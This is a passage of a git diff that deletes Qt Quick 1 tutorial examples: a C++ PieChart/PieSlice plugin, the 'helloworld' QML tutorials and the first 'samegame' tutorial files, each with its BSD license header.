$QT_END_LICENSE$ -** -****************************************************************************/ -#include "piechart.h" -#include "pieslice.h" - -PieChart::PieChart(QDeclarativeItem *parent) - : QDeclarativeItem(parent) -{ -} - -QString PieChart::name() const -{ - return m_name; -} - -void PieChart::setName(const QString &name) -{ - m_name = name; -} - -QDeclarativeListProperty PieChart::slices() -{ - return QDeclarativeListProperty(this, 0, &PieChart::append_slice); -} - -void PieChart::append_slice(QDeclarativeListProperty *list, PieSlice *slice) -{ - PieChart *chart = qobject_cast(list->object); - if (chart) { - slice->setParentItem(chart); - chart->m_slices.append(slice); - } -} - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/piechart.h b/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/piechart.h deleted file mode 100644 index edd7916361..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/piechart.h +++ /dev/null @@ -1,69 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PIECHART_H -#define PIECHART_H - -#include - -class PieSlice; - -class PieChart : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(QDeclarativeListProperty slices READ slices) - Q_PROPERTY(QString name READ name WRITE setName) - -public: - PieChart(QDeclarativeItem *parent = 0); - - QString name() const; - void setName(const QString &name); - - QDeclarativeListProperty slices(); - -private: - static void append_slice(QDeclarativeListProperty *list, PieSlice *slice); - - QString m_name; - QList m_slices; -}; - -#endif - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/pieslice.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/pieslice.cpp deleted file mode 100644 index 235b2ab143..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/pieslice.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "pieslice.h" - -#include - -PieSlice::PieSlice(QDeclarativeItem *parent) - : QDeclarativeItem(parent) -{ - // need to disable this flag to draw inside a QDeclarativeItem - setFlag(QGraphicsItem::ItemHasNoContents, false); -} - -QColor PieSlice::color() const -{ - return m_color; -} - -void PieSlice::setColor(const QColor &color) -{ - m_color = color; -} - -int PieSlice::fromAngle() const -{ - return m_fromAngle; -} - -void PieSlice::setFromAngle(int angle) -{ - m_fromAngle = angle; -} - -int PieSlice::angleSpan() const -{ - return m_angleSpan; -} - -void PieSlice::setAngleSpan(int angle) -{ - m_angleSpan = angle; -} - -void PieSlice::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *) -{ - QPen pen(m_color, 2); - painter->setPen(pen); - painter->setRenderHints(QPainter::Antialiasing, true); - painter->drawPie(boundingRect(), m_fromAngle * 16, m_angleSpan * 16); -} - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/pieslice.h b/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/pieslice.h deleted file mode 100644 index fc8476eefc..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/pieslice.h +++ /dev/null @@ -1,74 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PIESLICE_H -#define PIESLICE_H - -#include -#include - -class PieSlice : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(QColor color READ color WRITE setColor) - Q_PROPERTY(int fromAngle READ fromAngle WRITE setFromAngle) - Q_PROPERTY(int angleSpan READ angleSpan WRITE setAngleSpan) - -public: - PieSlice(QDeclarativeItem *parent = 0); - - QColor color() const; - void setColor(const QColor &color); - - int fromAngle() const; - void setFromAngle(int angle); - - int angleSpan() const; - void setAngleSpan(int span); - - void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); - -private: - QColor m_color; - int m_fromAngle; - int m_angleSpan; -}; - -#endif - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/qmldir b/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/qmldir deleted file mode 100644 index a83bf85ddb..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/qmldir +++ /dev/null @@ -1 +0,0 @@ -plugin chapter6-plugins lib diff --git a/examples/declarative/qtquick1/tutorials/extending/extending.pro b/examples/declarative/qtquick1/tutorials/extending/extending.pro deleted file mode 100644 index a665975382..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/extending.pro +++ /dev/null @@ -1,10 +0,0 @@ -TEMPLATE = subdirs - -SUBDIRS += \ - chapter1-basics \ - chapter2-methods \ - chapter3-bindings \ - chapter4-customPropertyTypes \ - chapter5-listproperties \ - chapter6-plugins - diff --git a/examples/declarative/qtquick1/tutorials/helloworld/Cell.qml b/examples/declarative/qtquick1/tutorials/helloworld/Cell.qml deleted file mode 100644 index 8e783998e1..0000000000 --- a/examples/declarative/qtquick1/tutorials/helloworld/Cell.qml +++ /dev/null @@ -1,72 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -//![1] -Item { - id: container -//![4] - property alias cellColor: rectangle.color -//![4] -//![5] - signal clicked(color cellColor) -//![5] - - width: 40; height: 25 -//![1] - -//![2] - Rectangle { - id: rectangle - border.color: "white" - anchors.fill: parent - } -//![2] - -//![3] - MouseArea { - anchors.fill: parent - onClicked: container.clicked(container.cellColor) - } -//![3] -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/helloworld/tutorial1.qml b/examples/declarative/qtquick1/tutorials/helloworld/tutorial1.qml deleted file mode 100644 index 3f7388a3bd..0000000000 --- a/examples/declarative/qtquick1/tutorials/helloworld/tutorial1.qml +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -//![3] -import QtQuick 1.0 -//![3] - -//![1] -Rectangle { - id: page - width: 500; height: 200 - color: "lightgray" -//![1] - -//![2] - Text { - id: helloText - text: "Hello world!" - y: 30 - anchors.horizontalCenter: page.horizontalCenter - font.pointSize: 24; font.bold: true - } -//![2] -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/helloworld/tutorial2.qml b/examples/declarative/qtquick1/tutorials/helloworld/tutorial2.qml deleted file mode 100644 index 9ed8950100..0000000000 --- a/examples/declarative/qtquick1/tutorials/helloworld/tutorial2.qml +++ /dev/null @@ -1,72 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - id: page - width: 500; height: 200 - color: "lightgray" - - Text { - id: helloText - text: "Hello world!" - y: 30 - anchors.horizontalCenter: page.horizontalCenter - font.pointSize: 24; font.bold: true - } - - Grid { - id: colorPicker - x: 4; anchors.bottom: page.bottom; anchors.bottomMargin: 4 - rows: 2; columns: 3; spacing: 3 - -//![1] - Cell { cellColor: "red"; onClicked: helloText.color = cellColor } -//![1] - Cell { cellColor: "green"; onClicked: helloText.color = cellColor } - Cell { cellColor: "blue"; onClicked: helloText.color = cellColor } - Cell { cellColor: "yellow"; onClicked: helloText.color = cellColor } - Cell { cellColor: "steelblue"; onClicked: helloText.color = cellColor } - Cell { cellColor: "black"; onClicked: helloText.color = cellColor } - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/helloworld/tutorial3.qml b/examples/declarative/qtquick1/tutorials/helloworld/tutorial3.qml deleted file mode 100644 index d7d190ca29..0000000000 --- a/examples/declarative/qtquick1/tutorials/helloworld/tutorial3.qml +++ /dev/null @@ -1,91 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - id: page - width: 500; height: 200 - color: "lightgray" - - Text { - id: helloText - text: "Hello world!" - y: 30 - anchors.horizontalCenter: page.horizontalCenter - font.pointSize: 24; font.bold: true - -//![1] - MouseArea { id: mouseArea; anchors.fill: parent } -//![1] - -//![2] - states: State { - name: "down"; when: mouseArea.pressed == true - PropertyChanges { target: helloText; y: 160; rotation: 180; color: "red" } - } -//![2] - -//![3] - transitions: Transition { - from: ""; to: "down"; reversible: true - ParallelAnimation { - NumberAnimation { properties: "y,rotation"; duration: 500; easing.type: Easing.InOutQuad } - ColorAnimation { duration: 500 } - } - } -//![3] - } - - Grid { - id: colorPicker - x: 4; anchors.bottom: page.bottom; anchors.bottomMargin: 4 - rows: 2; columns: 3; spacing: 3 - - Cell { cellColor: "red"; onClicked: helloText.color = cellColor } - Cell { cellColor: "green"; onClicked: helloText.color = cellColor } - Cell { cellColor: "blue"; onClicked: helloText.color = cellColor } - Cell { cellColor: "yellow"; onClicked: helloText.color = cellColor } - Cell { cellColor: "steelblue"; onClicked: helloText.color = cellColor } - Cell { cellColor: "black"; onClicked: helloText.color = cellColor } - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame1/Block.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame1/Block.qml deleted file mode 100644 index ddf326ce00..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame1/Block.qml +++ /dev/null @@ -1,53 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Item { - id: block - - Image { - id: img - anchors.fill: parent - source: "../shared/pics/redStone.png" - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame1/Button.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame1/Button.qml deleted file mode 100644 index 8ab804ef62..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame1/Button.qml +++ /dev/null @@ -1,83 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - id: container - - property string text: "Button" - - signal clicked - - width: buttonLabel.width + 20; height: buttonLabel.height + 5 - border { width: 1; color: Qt.darker(activePalette.button) } - smooth: true - radius: 8 - - // color the button with a gradient - gradient: Gradient { - GradientStop { - position: 0.0 - color: { - if (mouseArea.pressed) - return activePalette.dark - else - return activePalette.light - } - } - GradientStop { position: 1.0; color: activePalette.button } - } - - MouseArea { - id: mouseArea - anchors.fill: parent - onClicked: container.clicked(); - } - - Text { - id: buttonLabel - anchors.centerIn: container - color: activePalette.buttonText - text: container.text - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame1/samegame.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame1/samegame.qml deleted file mode 100644 index 5600bd77ca..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame1/samegame.qml +++ /dev/null @@ -1,82 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - id: screen - - width: 490; height: 720 - - SystemPalette { id: activePalette } - - Item { - width: parent.width - anchors { top: parent.top; bottom: toolBar.top } - - Image { - id: background - anchors.fill: parent - source: "../shared/pics/background.jpg" - fillMode: Image.PreserveAspectCrop - } - } - - Rectangle { - id: toolBar - width: parent.width; height: 30 - color: activePalette.window - anchors.bottom: screen.bottom - - Button { - anchors { left: parent.left; verticalCenter: parent.verticalCenter } - text: "New Game" - onClicked: console.log("This doesn't do anything yet...") - } - - Text { - id: score - anchors { right: parent.right; verticalCenter: parent.verticalCenter } - text: "Score: Who knows?" - } - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame1/samegame1.qmlproject b/examples/declarative/qtquick1/tutorials/samegame/samegame1/samegame1.qmlproject deleted file mode 100644 index 42ffacf4f8..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame1/samegame1.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "samegame.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame2/Block.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame2/Block.qml deleted file mode 100644 